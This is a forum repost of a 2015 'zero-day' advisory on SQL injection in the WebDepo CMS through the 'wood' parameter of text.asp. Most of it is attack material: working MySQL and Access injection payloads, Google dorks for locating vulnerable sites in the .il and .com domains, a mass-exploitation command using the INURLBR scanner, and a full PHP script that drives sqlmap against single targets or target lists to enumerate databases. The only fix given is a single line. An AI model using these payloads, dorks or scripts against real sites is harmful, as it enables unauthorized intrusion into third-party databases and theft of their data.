Aerosol Posted April 1, 2015 Report Posted April 1, 2015 Advisory: SQLi-vulnerabilities in aplication CMS WebDepoAffected aplication web: Aplication CMS WebDepo (Release date: 28/03/2014)Vendor URL: http://www.webdepot.co.ilVendor Status: 0day==========================Vulnerability Description:==========================Records and client practice management applicationCMS WebDepo suffers from multiple SQL injection vulnerabilitie==========================Technical Details:==========================SQL can be injected in the following GETGET VULN: wood=(id)$wood=intval($_REQUEST['wood'])==========================SQL injection vulnerabilities==========================Injection is possible through the file text.aspExploit-Example:DBMS: 'MySQL'Exploit: +AND+(SELECT 8880 FROM(SELECTCOUNT(*),CONCAT(0x496e75726c42726173696c,0x3a3a,version(),(SELECT (CASEWHEN (8880=8880) THEN 1 ELSE 0 END)),0x717a727a71,FLOOR(RAND(0)*2))x FROMINFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)DBMS: 'Microsoft Access' Exploit: +UNION+ALL+SELECT+NULL,NULL,NULL,CHR(113)&CHR(112)&CHR(120)&CHR(112)&CHR(113)&CHR(85)&CHR(116)&CHR(106)&CHR(110)&CHR(108)&CHR(90)&CHR(74)&CHR(113)&CHR(88)&CHR(116)&CHR(113)&CHR(118)&CHR(111)&CHR(100)&CHR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULLFROM MSysAccessObjects%16Ex: http://target.us/text.asp?wood=(id)+Exploit==========================SCRIPT EXPLOIT==========================http://pastebin.com/b6bWuw7k--help: -t : SET TARGET. -f : SET FILE TARGETS. -p : SET PROXY Execute: php WebDepoxpl.php -t target php WebDepoxpl.php -f targets.txt php WebDepoxpl.php -t target -p 'http://localhost:9090' howto: http://blog.inurl.com.br/2015/03/0day-webdepo-sql-injection.html==========================GOOGLE DORK==========================inurl:"text.asp?wood="site:il inurl:"text.asp?wood="site:com inurl:"text.asp?wood="==========================Solution:==========================Sanitizing all requests coming from the client==========================Credits:==========================AUTOR: Cleiton Pinheiro / Nick: googleINURLBlog: http://blog.inurl.com.brTwitter: https://twitter.com/googleinurlFanpage: https://fb.com/InurlBrasilPastebin http://pastebin.com/u/GoogleinurlGIT: https://github.com/googleinurlPSS: http://packetstormsecurity.com/user/googleinurlYOUTUBE: http://youtube.com/c/INURLBrasilPLUS: http://google.com/+INURLBrasil==========================References:==========================[1] http://blog.inurl.com.br/2015/03/0day-webdepo-sql-injection.html[2] https://msdn.microsoft.com/en-us/library/ff648339.aspxExploit:<?php/* # AUTOR: Cleiton Pinheiro / Nick: googleINURL # Blog: http://blog.inurl.com.br # Twitter: https://twitter.com/googleinurl # Fanpage: https://fb.com/InurlBrasil # Pastebin http://pastebin.com/u/Googleinurl # GIT: https://github.com/googleinurl # PSS: http://packetstormsecurity.com/user/googleinurl # YOUTUBE: http://youtube.com/c/INURLBrasil # PLUS: http://google.com/+INURLBrasil # EXPLOIT NAME: MINI exploit-SQLMAP - (0DAY) WebDepo -SQL injection /INURL BRASIL # VENTOR: http://www.webdepot.co.il # GET VULN: wood=(id) # $wood=intval($_REQUEST['wood'])----------------------------------------------------------------------------- # DBMS: 'MySQL' # Exploit: +AND+(SELECT 8880 FROM(SELECTCOUNT(*),CONCAT(0x496e75726c42726173696c,0x3a3a,version(),(SELECT (CASEWHEN (8880=8880) THEN 1 ELSE 0 END)),0x717a727a71,FLOOR(RAND(0)*2))x FROMINFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) # DBMS: 'Microsoft Access' # Exploit: +UNION+ALL+SELECT+NULL,NULL,NULL,CHR(113)&CHR(112)&CHR(120)&CHR(112)&CHR(113)&CHR(85)&CHR(116)&CHR(106)&CHR(110)&CHR(108)&CHR(90)&CHR(74)&CHR(113)&CHR(88)&CHR(116)&CHR(113)&CHR(118)&CHR(111)&CHR(100)&CHR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULLFROM MSysAccessObjects%16----------------------------------------------------------------------------- # http://target.us/text.asp?wood=(id)+Exploit # GOOGLE DORK: inurl:"text.asp?wood=" # GOOGLE DORK: site:il inurl:"text.asp?wood=" # GOOGLE DORK: site:com inurl:"text.asp?wood=" # --help: -t : SET TARGET. -f : SET FILE TARGETS. -p : SET PROXY Execute: php WebDepoxpl.php -t target php WebDepoxpl.php -f targets.txt php WebDepoxpl.php -t target -p 'http://localhost:9090'----------------------------------------------------------------------------- # EXPLOIT MASS USE SCANNER INURLBR # COMMAND: ./inurlbr.php --dork 'site:il inurl:text.asp?wood= ' -s0dayWebDepo.txt -q 1,6 --exploit-get "?´'0x27" --comand-all "php0dayWebDepo.php -t '_TARGET_'" # DOWNLOAD INURLBR: https://github.com/googleinurl/SCANNER-INURLBR-----------------------------------------------------------------------------# TUTORIAL: http://blog.inurl.com.br/2015/03/0day-webdepo-sql-injection.html */error_reporting(1);set_time_limit(0);ini_set('display_errors', 1);ini_set('max_execution_time', 0);ini_set('allow_url_fopen', 1);ob_implicit_flush(true);ob_end_flush();$folder_SqlMap = "python ../sqlmap/sqlmap.py";$op_ = getopt('f:t:p:', array('help::'));echo " _____ (_____) ____ _ _ _ _ _____ _ ____ _ _ (() ()) |_ _| \ | | | | | __ \| | | _ \ (_) | \ / | | | \| | | | | |__) | | ______ | |_) |_ __ __ _ ____| | \ / | | | . ` | | | | _ /| | |______| | _ <| '__/ _` / __|| | /=\ _| |_| |\ | |__| | | \ \| |____ | |_) | | | (_| \__ \| | [___] |_____|_| \_|\____/|_| \_\______| |____/|_| \__,_|___/_|_| \n\033[1;37m0xNeither war between hackers, nor peace for the system.\n[+] [Exploit]: MINI 3xplo1t-SqlMap - (0DAY) WebDepo -SQL injection / INURLBRASIL\nhelp: --help\033[0m\n\n";$menu = " -t : SET TARGET. -f : SET FILE TARGETS. -p : SET PROXY Execute: php 0dayWebDepo.php -t target php 0dayWebDepo.php -f targets.txt php 0dayWebDepo.php -t target -p 'http://localhost:9090'\n";echo isset($op_['help']) ? exit($menu) : NULL;$params = array( 'target' => not_isnull_empty($op_['t']) ? (strstr($op_['t'], 'http') ?$op_['t'] : "http://{$op_['t']}") : NULL, 'file' => !not_isnull_empty($op_['t']) && not_isnull_empty($op_['f']) ?$op_['f'] : NULL, 'proxy' => not_isnull_empty($op_['p']) ? "--proxy '{$op_['p']}'" : NULL, 'folder' => $folder_SqlMap, 'line' =>"-----------------------------------------------------------------------------------");not_isnull_empty($params['target']) && not_isnull_empty($params['file']) ?exit("[X] [ERRO] DEFINE TARGET OR FILE TARGET\n") : NULL;not_isnull_empty($params['target']) ? __exec($params) . exit() : NULL;not_isnull_empty($params['file']) ? __listTarget($params) . exit() : NULL;function not_isnull_empty($valor = NULL) { RETURN !is_null($valor) && !empty($valor) ? TRUE : FALSE;}function __plus() { ob_flush(); flush();}function __listTarget($file) { $tgt_ = array_unique(array_filter(explode("\n",file_get_contents($file['file'])))); echo "\n\033[1;37m[!] [" . date("H:i:s") . "] [INFO] TOTAL TARGETSLOADED : " . count($tgt_) . "\033[0m\n"; foreach ($tgt_ as $url) { echo "\033[1;37m[+] [" . date("H:i:s") . "] [INFO] SCANNING :{$url} \033[0m\n"; __plus(); $file['target'] = $url; __exec($file) . __plus(); }}function __exec($params) { __plus(); echo "\033[1;37m{$params['line']}\n[!] [" . date("H:i:s") . "] [INFO]starting SqlMap...\n"; echo "[+] [" . date("H:i:s") . "] [INFO] TARGET:{$params['target']}/text.asp?wood={SQL-INJECTION}\033[0m\n"; $command = "python ../sqlmap/sqlmap.py -u'{$params['target']}/text.asp?wood=1' -p wood --batch --dbms=MySQL{$params['proxy']} --random-agent --answers='follow=N' --dbs --level 2"; system($command, $dados) . empty($dados[0]) ? exit() : NULL; __plus();}Source Quote
